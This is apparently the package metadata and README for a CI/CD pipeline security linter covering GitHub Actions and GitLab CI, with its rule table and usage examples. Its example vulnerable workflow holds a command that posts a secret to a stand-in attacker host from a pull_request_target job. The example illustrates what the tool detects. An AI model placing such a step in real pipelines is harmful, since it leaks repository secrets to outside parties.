Metadata-Version: 2.4
Name: kryptorious-pipeguard
Version: 1.0.0
Summary: CI/CD pipeline security linter for GitHub Actions and GitLab CI. Detects pull_request_target secret-exfil, missing least-privilege permissions, hardcoded secrets, and unpinned images. Outputs table/JSON/SARIF with a CI exit-code gate.
Author: Kryptorious Quantum Biosciences, Inc.
License: MIT
Project-URL: Homepage, https://github.com/CodeGero/kryptorious-pipeguard
Project-URL: Repository, https://github.com/CodeGero/kryptorious-pipeguard
Project-URL: Store, https://kryptorious.gumroad.com/l/jbvet
Requires-Python: >=3.9
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: click>=8.0
Requires-Dist: rich>=13.0
Requires-Dist: pyyaml>=6.0
Dynamic: license-file

# pipeguard

**CI/CD pipeline security linter for GitHub Actions and GitLab CI.**

Catches the misconfigurations that turn a CI runner into a supply-chain attack vector — before your pipeline ships them.

## Install

```bash
pip install kryptorious-pipeguard
```

Requires Python >= 3.9.

## What it catches

| Rule | Severity | Detects |
|------|----------|---------|
| `PRT-001` | error | `pull_request_target` with checkout of `pull_request.head.ref` — attacker-controlled code runs with your secrets |
| `PERM-001` | warning | Workflow has no `permissions` block — broad default `GITHUB_TOKEN` scope |
| `SEC-001` | error | Hardcoded AWS key / generic `password:` / `token:` assignments |
| `IMG-001` | warning | Action reference not pinned to a full commit SHA (mutable tag) |
| `GL-SEC-001` | error | GitLab plaintext secret in `variables` block |
| `GL-IMG-001` | warning | GitLab image not pinned to a digest |

## Usage

Scan the current repo:

```bash
pipeguard check .
```

Scan a specific path and fail CI on any error:

```bash
pipeguard check . --json
```

### Real example — a vulnerable GitHub Actions workflow

`.github/workflows/prt.yml`:
```yaml
name: prt
on: pull_request_target
permissions:
  contents: read
jobs:
  b:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.ref }}
      - run: curl -d "$SECRET" https://evil.example
```

```bash
$ pipeguard check .

┌──────────────────────────────┬──────┬──────────┬──────────┬─────────────────────────────────────────────┐
│ File                         │ Line │ Rule     │ Severity │ Detail                                        │
├──────────────────────────────┼──────┼──────────┼──────────┼─────────────────────────────────────────────┤
│ .github/workflows/prt.yml    │ 1    │ PRT-001  │ error    │ pull_request_target triggers on fork PRs...    │
└──────────────────────────────┴──────┴──────────┴──────────┴─────────────────────────────────────────────┘
Scanned 1 file(s): 1 error(s), 0 warning(s), 0 info.
```

Exit code is `1` — wire it into your CI gate.

### SARIF for GitHub code scanning

```bash
pipeguard check . --sarif > pipeguard.sarif
```

### GitLab CI

```bash
pipeguard check . --json
```

## Exit codes

- `0` — no error-severity findings
- `1` — at least one error-severity finding (use as a CI gate)

## Part of the Kryptorious toolchain

More developer tools at [kryptorious.gumroad.com/l/jbvet](https://kryptorious.gumroad.com/l/jbvet).

## License

MIT — © 2026 Kryptorious Quantum Biosciences, Inc.
